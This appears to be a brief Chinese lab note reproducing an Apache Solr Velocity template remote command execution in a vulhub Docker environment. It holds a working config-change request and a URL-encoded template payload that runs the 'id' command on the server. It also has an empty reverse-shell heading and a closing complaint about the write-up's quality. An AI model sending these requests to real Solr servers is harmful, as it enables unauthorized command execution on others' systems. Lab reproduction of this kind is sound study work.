Apache Solr远程命令执行复现【未通过】

环境

/vulhub/solr/CVE-2019-0193/

创建一个集合

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

正戏

开启params.resource.loader.enabled

POST /solr/创建的集合/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

命令执行

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

反弹shell

就这么一个屌复现,一点见解没有,而且看图好像还是盗的,就算是搬运工,好歹也搬运一下最全面的文章吧,比如linux下反弹shell 的命令 为啥用base64编码
